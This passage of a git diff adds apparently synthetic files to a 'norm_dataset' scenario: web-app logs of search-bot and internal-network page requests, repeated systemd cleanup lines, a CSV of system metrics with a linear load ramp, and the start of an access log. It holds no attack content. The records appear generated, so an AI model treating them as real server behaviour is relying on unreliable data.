+http://www.google.com/bot.html)" +Aug 22 22:05:28 web-app[2345]: GET / status=200 from=66.249.69.185 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:28 web-app[2345]: GET /blog/article-2 status=200 from=66.249.92.249 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:28 web-app[2345]: GET /products/item10 status=200 from=66.249.72.133 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:28 web-app[2345]: GET /products/item10 status=200 from=66.249.81.61 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:28 web-app[2345]: GET /products/item3 status=200 from=66.249.69.55 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:29 web-app[2345]: GET /products/item13 status=200 from=66.249.81.94 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:29 web-app[2345]: GET /products/item8 status=200 from=66.249.91.163 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:29 web-app[2345]: GET /products/item9 status=200 from=66.249.68.254 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:30 web-app[2345]: GET /about-us status=404 from=66.249.80.131 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:30 web-app[2345]: GET /products status=200 from=66.249.78.215 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:30 web-app[2345]: GET /products/item13 status=200 from=66.249.70.156 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:30 web-app[2345]: GET /products/item6 status=200 from=66.249.92.150 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:30 web-app[2345]: GET /products/item7 status=200 from=66.249.93.64 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:31 web-app[2345]: GET /about-us status=200 from=66.249.79.144 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:31 web-app[2345]: GET /about-us status=404 from=66.249.86.66 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:31 web-app[2345]: GET /products/item14 status=404 from=66.249.71.118 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:31 web-app[2345]: GET /products/item2 status=200 from=66.249.82.192 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:31 web-app[2345]: GET /products/item4 status=200 from=66.249.77.47 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:32 web-app[2345]: GET /products/item18 status=200 from=66.249.77.162 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:33 web-app[2345]: GET /products/item11 status=200 from=66.249.71.17 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:33 web-app[2345]: GET /products/item11 status=200 from=66.249.93.217 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:33 web-app[2345]: GET /products/item12 status=200 from=66.249.79.125 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:33 web-app[2345]: GET /products/item12 status=200 from=66.249.85.54 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:33 web-app[2345]: GET /products/item14 status=301 from=66.249.67.91 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:33 web-app[2345]: GET /products/item6 status=200 from=66.249.94.237 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:34 web-app[2345]: GET /products/item17 status=301 from=66.249.68.16 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:34 web-app[2345]: GET /products/item4 status=200 from=66.249.82.95 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:35 web-app[2345]: GET /products/item13 status=200 from=66.249.82.83 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:35 web-app[2345]: GET /products/item16 status=301 from=66.249.95.175 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:35 web-app[2345]: GET /products/item4 status=200 from=66.249.69.126 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:36 web-app[2345]: GET /products/item2 status=200 from=66.249.91.170 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:36 web-app[2345]: GET /products/item3 status=200 from=66.249.75.9 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:36 web-app[2345]: GET /products/item5 status=200 from=66.249.92.24 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:36 web-app[2345]: GET /products/item6 status=200 from=66.249.70.176 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:37 web-app[2345]: GET /products/item15 status=200 from=66.249.81.55 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:37 web-app[2345]: GET /products/item2 status=200 from=66.249.94.9 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:37 web-app[2345]: GET /products/item3 status=301 from=66.249.91.175 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:37 web-app[2345]: GET /products/item5 status=200 from=66.249.81.137 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:37 web-app[2345]: GET /products/item6 status=200 from=66.249.66.107 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:37 web-app[2345]: GET /products/item7 status=200 from=66.249.68.255 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:37 web-app[2345]: GET /products/item9 status=200 from=66.249.67.76 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:38 web-app[2345]: GET /products/item11 status=200 from=66.249.67.216 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:38 web-app[2345]: GET /products/item16 status=200 from=66.249.95.69 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:38 web-app[2345]: GET /products/item17 status=200 from=66.249.84.195 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:38 web-app[2345]: GET /products/item4 status=200 from=66.249.87.33 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:39 web-app[2345]: GET /about-us status=301 from=66.249.72.208 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:39 web-app[2345]: GET /products/item10 status=200 from=66.249.95.41 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:39 web-app[2345]: GET /products/item14 status=200 from=66.249.79.1 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:39 web-app[2345]: GET /products/item9 status=200 from=66.249.68.196 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:40 web-app[2345]: GET /products/item12 status=200 from=66.249.92.80 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:40 web-app[2345]: GET /products/item3 status=404 from=66.249.78.136 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:40 web-app[2345]: GET /products/item4 status=200 from=66.249.85.110 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:41 web-app[2345]: GET /blog/article-1 status=200 from=66.249.90.20 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:41 web-app[2345]: GET /contact status=200 from=66.249.78.213 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:41 web-app[2345]: GET /products status=200 from=66.249.77.88 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:41 web-app[2345]: GET /products/item10 status=200 from=66.249.66.252 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:41 web-app[2345]: GET /products/item12 status=200 from=66.249.76.105 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:41 web-app[2345]: GET /products/item2 status=200 from=66.249.95.92 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:42 web-app[2345]: GET /products/item13 status=301 from=66.249.70.218 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:42 web-app[2345]: GET /products/item18 status=200 from=66.249.75.102 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:42 web-app[2345]: GET /products/item18 status=200 from=66.249.88.207 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:43 web-app[2345]: GET /products/item12 status=200 from=66.249.71.48 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:43 web-app[2345]: GET /products/item14 status=200 from=66.249.95.244 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:43 web-app[2345]: GET /products/item16 status=301 from=66.249.70.104 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:43 web-app[2345]: GET /products/item18 status=200 from=66.249.86.210 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:43 web-app[2345]: GET /products/item6 status=200 from=66.249.75.22 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:43 web-app[2345]: GET /products/item7 status=301 from=66.249.92.23 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:44 web-app[2345]: GET /about-us status=200 from=66.249.70.163 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:44 web-app[2345]: GET /blog/article-2 status=200 from=66.249.64.185 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:45 web-app[2345]: GET /blog/article-1 status=200 from=66.249.88.36 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:45 web-app[2345]: GET /products/item13 status=301 from=66.249.72.206 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:45 web-app[2345]: GET /products/item15 status=200 from=66.249.74.129 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:45 web-app[2345]: GET /products/item15 status=200 from=66.249.85.12 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:45 web-app[2345]: GET /products/item19 status=200 from=66.249.95.43 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:45 web-app[2345]: GET /products/item3 status=200 from=66.249.71.168 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:46 web-app[2345]: GET / status=200 from=66.249.75.26 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:46 web-app[2345]: GET /products status=200 from=66.249.74.200 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:46 web-app[2345]: GET /products/item2 status=200 from=66.249.82.7 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:47 web-app[2345]: GET / status=200 from=66.249.69.60 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:47 web-app[2345]: GET /products/item19 status=200 from=66.249.69.168 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:48 web-app[2345]: GET /contact status=200 from=66.249.65.214 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:48 web-app[2345]: GET /products/item12 status=200 from=66.249.88.124 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:48 web-app[2345]: GET /products/item2 status=200 from=66.249.81.14 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:48 web-app[2345]: GET /products/item4 status=200 from=66.249.76.186 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:05:49 web-app[2345]: GET /products/item17 status=200 from=66.249.95.13 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:05:51 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.136 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:05:52 web-app[2345]: GET /about-us status=200 from=192.168.1.65 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:05:53 web-app[2345]: GET /products status=200 from=192.168.1.14 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:05:55 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.108 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:05:57 web-app[2345]: GET /products status=200 from=192.168.1.172 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:00 systemd[1]: Starting daily clean up activities... +Aug 22 22:06:05 web-app[2345]: GET /about-us status=200 from=192.168.1.101 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:08 web-app[2345]: GET /about-us status=200 from=192.168.1.119 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:09 web-app[2345]: GET /about-us status=200 from=192.168.1.185 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:12 web-app[2345]: GET /products status=200 from=192.168.1.112 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:13 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.131 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:15 web-app[2345]: GET /products status=200 from=192.168.1.85 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:16 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.92 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:17 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.84 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:20 web-app[2345]: GET /about-us status=200 from=192.168.1.130 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:22 web-app[2345]: GET /products status=200 from=192.168.1.43 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:26 systemd[1]: Starting daily clean up activities... +Aug 22 22:06:30 systemd[1]: Starting daily clean up activities... +Aug 22 22:06:31 systemd[1]: Starting daily clean up activities... +Aug 22 22:06:33 systemd[1]: Starting daily clean up activities... +Aug 22 22:06:37 systemd[1]: Starting daily clean up activities... +Aug 22 22:06:38 systemd[1]: Starting daily clean up activities... +Aug 22 22:06:39 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.93 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:42 web-app[2345]: GET /products status=200 from=192.168.1.90 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:45 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.62 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:06:48 systemd[1]: Starting daily clean up activities... +Aug 22 22:06:51 systemd[1]: Starting daily clean up activities... +Aug 22 22:06:59 systemd[1]: Starting daily clean up activities... +Aug 22 22:07:00 web-app[2345]: GET / status=200 from=192.168.1.152 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:05 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.69 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:07 systemd[1]: Starting daily clean up activities... +Aug 22 22:07:08 systemd[1]: Starting daily clean up activities... +Aug 22 22:07:12 web-app[2345]: GET /products status=200 from=192.168.1.65 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:13 systemd[1]: Starting daily clean up activities... +Aug 22 22:07:13 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.73 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:16 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.118 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:18 web-app[2345]: GET /about-us status=200 from=192.168.1.169 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:19 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.97 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:20 web-app[2345]: GET / status=200 from=192.168.1.63 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:20 web-app[2345]: GET /blog/article-2 status=200 from=192.168.1.183 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:24 web-app[2345]: GET /blog/article-1 status=200 from=192.168.1.28 agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 22:07:29 web-app[2345]: GET / status=200 from=192.168.1.18 agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_8/norm_8_17.csv b/norm_dataset/scenario_8/norm_8_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..4b429cb91f55b0dcc5252a82f03f02b366177732 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.53,46.82,26.52,1.23,0.96 +2025-07-02T12:00:05Z,14.35,42.2,24.29,1.72,0.95 +2025-07-02T12:00:10Z,15.19,35.31,27.27,1.42,1.23 +2025-07-02T12:00:15Z,16.57,40.97,35.05,1.55,0.71 +2025-07-02T12:00:20Z,16.8,39.21,37.15,1.64,1.22 +2025-07-02T12:00:25Z,14.98,36.58,32.04,1.39,0.95 +2025-07-02T12:00:30Z,12.78,39.6,28.17,1.26,1.2 +2025-07-02T12:00:35Z,16.76,36.74,35.45,1.0,0.9 +2025-07-02T12:00:40Z,14.27,40.32,33.05,1.0,0.88 +2025-07-02T12:00:45Z,15.03,38.36,34.18,0.98,1.12 +2025-07-02T12:00:50Z,15.49,46.59,24.46,1.0,0.8 +2025-07-02T12:00:55Z,10.22,40.34,33.86,0.72,0.68 +2025-07-02T12:01:00Z,15.7,39.87,30.56,1.38,0.74 +2025-07-02T12:01:05Z,14.11,39.57,30.69,1.14,1.29 +2025-07-02T12:01:10Z,15.22,35.21,24.57,1.4,0.8 +2025-07-02T12:01:15Z,16.93,44.89,24.64,1.28,1.3 +2025-07-02T12:01:20Z,14.81,42.72,33.54,1.46,1.12 +2025-07-02T12:01:25Z,16.3,41.51,29.47,1.33,1.13 +2025-07-02T12:01:30Z,13.29,39.65,22.83,1.38,1.02 +2025-07-02T12:01:35Z,15.4,38.86,24.07,1.59,0.77 +2025-07-02T12:01:40Z,18.28,40.81,29.21,0.8,0.85 +2025-07-02T12:01:45Z,15.08,39.24,32.26,3.12,2.3 +2025-07-02T12:01:50Z,22.24,48.36,36.59,4.81,3.15 +2025-07-02T12:01:55Z,23.49,41.78,44.34,7.11,4.45 +2025-07-02T12:02:00Z,23.32,45.27,53.63,8.94,5.34 +2025-07-02T12:02:05Z,27.27,39.03,58.67,10.67,6.59 +2025-07-02T12:02:10Z,29.4,37.26,57.57,12.74,7.96 +2025-07-02T12:02:15Z,33.92,41.76,62.86,14.4,9.08 +2025-07-02T12:02:20Z,34.7,42.67,69.58,16.94,10.27 +2025-07-02T12:02:25Z,38.87,45.78,70.84,18.59,11.31 +2025-07-02T12:02:30Z,41.62,39.75,81.98,20.57,12.74 +2025-07-02T12:02:35Z,43.26,40.85,85.09,22.7,13.88 +2025-07-02T12:02:40Z,46.15,41.25,86.93,24.58,14.87 +2025-07-02T12:02:45Z,50.47,40.72,92.02,26.69,16.05 +2025-07-02T12:02:50Z,50.92,36.77,96.28,28.38,17.34 +2025-07-02T12:02:55Z,53.61,36.81,104.05,30.42,18.6 +2025-07-02T12:03:00Z,57.12,42.86,106.9,32.24,19.58 +2025-07-02T12:03:05Z,58.82,40.52,110.74,34.37,20.7 +2025-07-02T12:03:10Z,61.89,38.76,114.62,36.29,21.93 +2025-07-02T12:03:15Z,63.78,40.52,121.37,38.4,23.05 +2025-07-02T12:03:20Z,66.59,42.51,126.33,40.29,24.19 +2025-07-02T12:03:25Z,69.57,43.83,130.3,42.18,25.29 +2025-07-02T12:03:30Z,72.38,41.15,136.88,44.11,26.5 +2025-07-02T12:03:35Z,74.87,38.59,140.53,46.1,27.66 +2025-07-02T12:03:40Z,77.48,33.47,145.18,48.04,28.85 +2025-07-02T12:03:45Z,80.0,38.68,150.0,50.0,30.0 +2025-07-02T12:03:50Z,77.6,43.33,145.6,48.08,28.86 +2025-07-02T12:03:55Z,75.2,40.11,141.2,46.16,27.72 +2025-07-02T12:04:00Z,72.8,40.51,136.8,44.24,26.58 +2025-07-02T12:04:05Z,70.4,42.54,132.4,42.32,25.44 +2025-07-02T12:04:10Z,68.0,39.84,128.0,40.4,24.3 +2025-07-02T12:04:15Z,65.6,36.58,123.6,38.48,23.16 +2025-07-02T12:04:20Z,63.2,43.81,119.2,36.56,22.02 +2025-07-02T12:04:25Z,60.8,35.83,114.8,34.64,20.88 +2025-07-02T12:04:30Z,58.4,40.39,110.4,32.72,19.74 +2025-07-02T12:04:35Z,56.0,37.11,106.0,30.8,18.6 +2025-07-02T12:04:40Z,53.6,38.44,101.6,28.88,17.46 +2025-07-02T12:04:45Z,51.2,36.89,97.2,26.96,16.32 +2025-07-02T12:04:50Z,48.8,42.54,92.8,25.04,15.18 +2025-07-02T12:04:55Z,46.4,37.53,88.4,23.12,14.04 +2025-07-02T12:05:00Z,44.0,37.4,84.0,21.2,12.9 +2025-07-02T12:05:05Z,41.6,41.24,79.6,19.28,11.76 +2025-07-02T12:05:10Z,39.2,39.23,75.2,17.36,10.62 +2025-07-02T12:05:15Z,36.8,46.0,70.8,15.44,9.48 +2025-07-02T12:05:20Z,34.4,38.31,66.4,13.52,8.34 +2025-07-02T12:05:25Z,32.0,37.67,62.0,11.6,7.2 +2025-07-02T12:05:30Z,29.6,38.11,57.6,9.68,6.06 +2025-07-02T12:05:35Z,27.2,37.29,53.2,7.76,4.92 +2025-07-02T12:05:40Z,24.8,39.05,48.8,5.84,3.78 +2025-07-02T12:05:45Z,22.4,41.65,44.4,3.92,2.64 +2025-07-02T12:05:50Z,15.62,39.87,27.31,1.09,0.61 +2025-07-02T12:05:55Z,12.52,46.03,23.62,1.36,1.01 +2025-07-02T12:06:00Z,14.48,41.4,35.41,1.7,1.0 +2025-07-02T12:06:05Z,16.06,34.63,32.29,1.32,1.27 +2025-07-02T12:06:10Z,13.3,44.54,27.19,1.54,0.92 +2025-07-02T12:06:15Z,16.17,38.8,25.13,1.2,0.92 +2025-07-02T12:06:20Z,14.02,37.58,37.09,1.37,0.78 +2025-07-02T12:06:25Z,17.92,37.77,32.89,1.58,0.95 +2025-07-02T12:06:30Z,17.6,38.05,34.32,1.62,1.26 +2025-07-02T12:06:35Z,19.36,44.81,30.74,1.3,1.25 +2025-07-02T12:06:40Z,13.02,41.26,27.31,1.06,1.06 +2025-07-02T12:06:45Z,15.21,37.27,25.41,1.11,0.89 +2025-07-02T12:06:50Z,16.08,42.65,31.14,1.39,0.6 +2025-07-02T12:06:55Z,13.25,34.95,36.74,1.29,0.95 +2025-07-02T12:07:00Z,17.92,45.7,31.71,1.08,0.82 +2025-07-02T12:07:05Z,14.35,43.02,22.7,1.02,0.58 +2025-07-02T12:07:10Z,14.94,40.35,33.44,0.99,1.37 +2025-07-02T12:07:15Z,16.7,41.39,32.25,1.24,1.16 +2025-07-02T12:07:20Z,13.0,39.29,26.02,0.7,0.6 +2025-07-02T12:07:25Z,17.41,39.13,41.58,1.28,1.02 diff --git a/norm_dataset/scenario_8/norm_8_17.log b/norm_dataset/scenario_8/norm_8_17.log new file mode 100644 index 0000000000000000000000000000000000000000..5506a336906a3c51a7f427d0ffdce494fa942b88 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_17.log @@ -0,0 +1,1226 @@ +192.168.1.153 - - [02/Jul/2025:12:00:00 +0000] "GET /article/_34.html HTTP/1.1" 304 9427 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) 